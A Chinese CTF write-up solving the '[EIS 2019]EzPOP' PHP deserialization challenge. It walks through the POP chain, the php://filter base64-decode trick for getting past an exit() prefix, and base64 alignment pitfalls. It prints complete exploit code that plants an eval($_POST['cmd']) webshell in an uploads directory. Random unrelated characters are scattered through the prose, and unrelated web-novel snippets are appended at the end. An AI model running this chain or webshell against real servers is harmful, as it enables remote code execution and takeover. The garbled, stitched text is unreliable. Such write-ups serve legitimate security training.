[EIS 2019]EzPOP

接著上一篇簡單的pop題目,做一下[EIS 2019]EzPOP,

總的來看代碼量確實是大了酝枢,相對應的一些瑣碎的東西也多了,而且涉及到的知識也更多一些瓢剿,

個人習慣是先找最后一環(huán)逢慌,再向上回溯,

這里首先應該看到如下的片段间狂,這應該是本題目中唯一有可能利用的點攻泼,


?這里是一個文件寫操作,文件名$filename和內容$data理論上都是可控的鉴象,我們可以寫一個shell忙菠,至于具體的思路,參見p牛的文章纺弊,

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

這里的$data的前半部分有exit()牛欢,所以即使我們將傳過來的$data寫入一句話,實際上是執(zhí)行不了的俭尖,(p牛云氢惋,這個過程在實戰(zhàn)中十分常見雀哨,通常出現在緩存叨襟、配置文件等等地方也糊,不允許用戶直接訪問的文件色查,都會被加上if(!defined(xxx))exit;之類的限制)惯疙。個人的經歷是去年暑假在看yxtcmf的題目時引镊,其寫入shell的核心點也是類似于這樣的一行代碼澎嚣,所以看到本題的這行代碼比較敏感承二,只不過yxtcmf的題目寫入好像是比這個稍微容易一些(沒有exit)虑椎。

關于本題的解題的理論是這樣的震鹉,

1.

base64編碼中只包含64個可打印字符,而PHP在解碼base64時捆姜,遇到不在其中的字符時传趾,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼泥技。

所以浆兰,一個正常的base64_decode實際上可以理解為如下兩個步驟:


$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

base64_decode($_GET['txt']);

使用 php://filter/write=convert.base64-decode 來首先對其解碼的過程中,字符<珊豹、?簸呈、;、>店茶、空格等字符不符合base64編碼的字符范圍將被忽略蜕便,所以最終被解碼的字符僅有“phpexit”和我們傳入的其他字符。

2.

類成員由屬性和方法構成贩幻,類屬性存在于數據段轿腺,類方法存在于代碼段两嘴,對于一個類來說,類的方法不占用類的空間吃溅,占空間的只有類的屬性溶诞。序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法决侈,只會保存類的名字。因此喧务,序列化操作只是保存對象(不是類)的變量赖歌,不保存對象的方法,其實反序列化的主要危害在于我們可以控制對象的變量來改變程序執(zhí)行流程從而達到我們最終的目的功茴。我們無法控制對象的方法來調用庐冯,因此我們這里只能去找一些可以自動調用的一些魔術方法。

回到本題坎穿,先想辦法構造pop鏈展父,最后一環(huán)當然是上面提到的file_put_contents(),

先在file_put_contents()所在的set函數內向上看玲昧,確保這條路確實可用栖茉,

這個是虛假的壓縮, 我們可以人為控制$this->options['data_compress'] = 0;

再向上孵延,可以看到$data是$value經過$this->serialize()函數生成的吕漂,

我們跟進$this->serialize(),發(fā)現這也是虛假的Serialize,我們可以控制$this->options['serialize'] = 'strval'尘应,不會對$value產生實質性影響惶凝,

再向上,

?其實也是虛假的犬钢,這里不再展開了苍鲜,

set函數是class

B中唯一的關鍵函數,其余的都是些虛假的限制性的函數玷犹。而且經過分析混滔,class

B的對象本身只涉及到$filename一個關鍵點($data是參數$value經變化得來的),到這里我們大體上可以確定了其值箱舞,按照上面提到的思路將其控制為如下的樣子即可遍坟,

接下來追溯set()的傳參的來源,我們手動查找調用set()的地方晴股,發(fā)現在class A的save()函數內有調用愿伴,

而且只要class A的對象構造的正常,且$this->autosave設為0电湘,則save()是一定可以被調用的(確保這條路可用)隔节,

回到save()鹅经,可以想象,這里的store必為一個class B的對象怎诫,接下來我們要做的就是向上追溯$this->key和$contents兩個參數瘾晃,確保他們是可控的,

先是$this->key幻妓,這個顯然是完全可控蹦误,這里不再分析,主要是$contents肉津,我們需要先追溯到$this->getForStorage()內强胰,

?繼續(xù)跟進,

?從這里我們可以看出妹沙,$this->cache應該要是一個數組偶洋,數組中要有一個值也為數組(不滿足可能會變?yōu)榭諗到M?沒有實際嘗試)距糖,$this->cache傳進來之后要經過一次檢查玄窝,個人感覺這里的檢查好像沒什么實際的作用,隨便選一個符合的名字(比如path)作為$object的鍵悍引,用編碼后的一句話木馬作為$object的值(這個有點講究恩脂,后面會提到)就行了,接下來return

json_encode([$cleaned,

$this->complete])將這一結果傳給save()中的$contents吗铐,進而作為$value傳進set()东亦。

直觀上看,$this->complete的值對解題沒有影響(后面會提到)唬渗,所以到此我們基本可以確認class A的對象的值了典阵,exp如下:class A {

protected $store;

protected $key = 'shell.php';

protected $expire = null;

public $autosave = 0;

public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));

public $complete = 1;

public function __construct($store) {

$this->store = $store;

}

}

class B {

public $options = array('data_compress'=>0, 'expire'=> 0,

'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",

'serialize'=>'strval');

}

$b = new B;

$a = new A($b);

但實際上,這個exp是我經過多次測試才得出的镊逝,這個題涉及到的深層次的內容(其實就是坑)到現在我們并沒有講壮啊,下面我逐個解釋坑在哪(其實主要都是因為我對base64的原理理解不到位),

先貼一下動態(tài)運行到file_put_contents()處時各變量的情況撑蒜,

1. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的片段歹啼,

有的同志可能注意到,我構造的$a->cache的鍵為111座菠,而不是1或者11狸眼,原因如下:

我們的思路是,將經base64-decode過濾器過濾后的$data的值寫入./uploads/shell.php中浴滴,我們想要的效果是payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的部分被解碼為亂碼(至少不要影響payload的正常功能)拓萌,payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解碼為<?php

eval($_POST['cmd']);?>kkkkk,

比如這樣升略,


?這樣的話我們就能正常使用這個一句話木馬微王,

base64編碼轉換步驟

第一步屡限,將待轉換的字符串每三個字節(jié)分為一組,每個字節(jié)占8bit炕倘,那么共有24個二進制位钧大。

第二步,將上面的24個二進制位每6個一組罩旋,共分為4組啊央。

第三步,在每組前面添加兩個0瘸恼,每組由6個變?yōu)?個二進制位劣挫,總共32個二進制位,即四個字節(jié)东帅。

第四步,根據Base64編碼對照表(見下圖)獲得對應的值球拦。

反過來靠闭,base64解碼時,一定是4個有效字節(jié)(何為有效字節(jié)最開始已經解釋了)為一組進行解碼坎炼,

對于這里愧膀,我們要想保證payload被正常解碼為一句話木馬,就要保證它前面的片段中谣光,有效字節(jié)的數目為4的倍數檩淋,所以我這里$cache的鍵是111,就是說萄金,我補了3個1作為有效字節(jié)湊齊了4的倍數蟀悦,



2. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)

?上面提到,我們的payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解碼為<?php

eval($_POST['cmd']);?>kkkkk氧敢,可能有的同志有疑問日戈,為什么不是<?php

eval($_POST['cmd']);,為什么不是<?php eval($_POST['cmd']);?>

?先看兩個php文件孙乖,

先是1.php浙炼,


?運行之,

可以看到唯袄,s.php內成功寫入了內容弯屈,前面的YWFh被解碼為aaa,==后面的YWFh被舍棄恋拷,這里斗膽猜測资厉,是因為這一段字符的前面按每四個字節(jié)一組正常解碼,直到遇到了Pg==梅掠,而==是base64編碼時由于末尾不足3個字節(jié)進行補足而添上的酌住,因而base64_decode運行時檢測到這里店归,就認為解碼結束,后面的內容舍棄(這里我沒有查看底層代碼酪我,如果有大佬知道原理望請告知)消痛,

再看2.php,


運行之都哭,

文件是空的秩伞,就是并沒有將內容寫進去,

看php.net欺矫,

上面講等同于使用base64_decode()函數處理 所有的 數據流纱新,至于問題是不是出在“所有的”一詞上,我確實沒有搞清楚穆趴,希望有大佬可以指點脸爱,

針對出現的這個問題,為了節(jié)省點時間未妹,我選擇了避開簿废,補了5個k來消除=(其實2個就夠了...),


這就是為什么有的同志(包括我自己)一開始編寫的exp無法生效的原因络它,

到此族檬,還有一個小問題,


?這是我要進行base64解碼之后寫入shell.php的字符串化戳,剛才我們提到单料,payload前面的部分是28個字節(jié),payload的長度也是4的倍數点楼,那么最后剩下的唯一一個有效字節(jié)1去哪里了扫尖,我經測試后認為應該是被舍棄了,對解碼不產生任何影響盟步。

本地測試exp:


error_reporting(0);

class A {

protected $store;

protected $key = 'shell.php';

protected $expire = null;

public $autosave = 0;

public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));

public $complete = 1;

public function __construct($store) {

$this->store = $store;

}

}

class B {

public $options = array('data_compress'=>0, 'expire'=> 0,

'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",

'serialize'=>'strval');

}

$b = new B;

$a = new A($b);

echo urlencode(serialize($a));

echo "

";

$fi= file_get_contents('http://127.0.0.1/?data='.urlencode(serialize($a)));

$fs = file_get_contents('./uploads/shell.php');

echo $fs;

打buu的靶機藏斩,

?成功

?著作權歸作者所有,轉載或內容合作請聯系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市却盘,隨后出現的幾起案子狰域,更是在濱河造成了極大的恐慌,老刑警劉巖黄橘,帶你破解...
    沈念sama閱讀 219,539評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件兆览,死亡現場離奇詭異,居然都是意外死亡塞关,警方通過查閱死者的電腦和手機抬探,發(fā)現死者居然都...
    沈念sama閱讀 93,594評論 3 396
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人小压,你說我怎么就攤上這事线梗。” “怎么了怠益?”我有些...
    開封第一講書人閱讀 165,871評論 0 356
  • 文/不壞的土叔 我叫張陵仪搔,是天一觀的道長。 經常有香客問我蜻牢,道長烤咧,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,963評論 1 295
  • 正文 為了忘掉前任抢呆,我火速辦了婚禮煮嫌,結果婚禮上,老公的妹妹穿的比我還像新娘抱虐。我一直安慰自己昌阿,他們只是感情好,可當我...
    茶點故事閱讀 67,984評論 6 393
  • 文/花漫 我一把揭開白布恳邀。 她就那樣靜靜地躺著宝泵,像睡著了一般。 火紅的嫁衣襯著肌膚如雪轩娶。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,763評論 1 307
  • 那天框往,我揣著相機與錄音鳄抒,去河邊找鬼。 笑死椰弊,一個胖子當著我的面吹牛许溅,可吹牛的內容都是我干的。 我是一名探鬼主播秉版,決...
    沈念sama閱讀 40,468評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼贤重,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了清焕?” 一聲冷哼從身側響起并蝗,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎秸妥,沒想到半個月后滚停,有當地人在樹林里發(fā)現了一具尸體,經...
    沈念sama閱讀 45,850評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡粥惧,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 38,002評論 3 338
  • 正文 我和宋清朗相戀三年键畴,在試婚紗的時候發(fā)現自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片突雪。...
    茶點故事閱讀 40,144評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡起惕,死狀恐怖涡贱,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情惹想,我是刑警寧澤问词,帶...
    沈念sama閱讀 35,823評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站勺馆,受9級特大地震影響戏售,放射性物質發(fā)生泄漏。R本人自食惡果不足惜草穆,卻給世界環(huán)境...
    茶點故事閱讀 41,483評論 3 331
  • 文/蒙蒙 一灌灾、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧悲柱,春花似錦锋喜、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至涯冠,卻和暖如春炉奴,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蛇更。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評論 1 272
  • 我被黑心中介騙來泰國打工瞻赶, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人派任。 一個月前我還...
    沈念sama閱讀 48,415評論 3 373
  • 正文 我出身青樓砸逊,卻偏偏與公主長得像,于是被迫代替她去往敵國和親掌逛。 傳聞我的和親對象是個殘疾皇子师逸,可洞房花燭夜當晚...
    茶點故事閱讀 45,092評論 2 355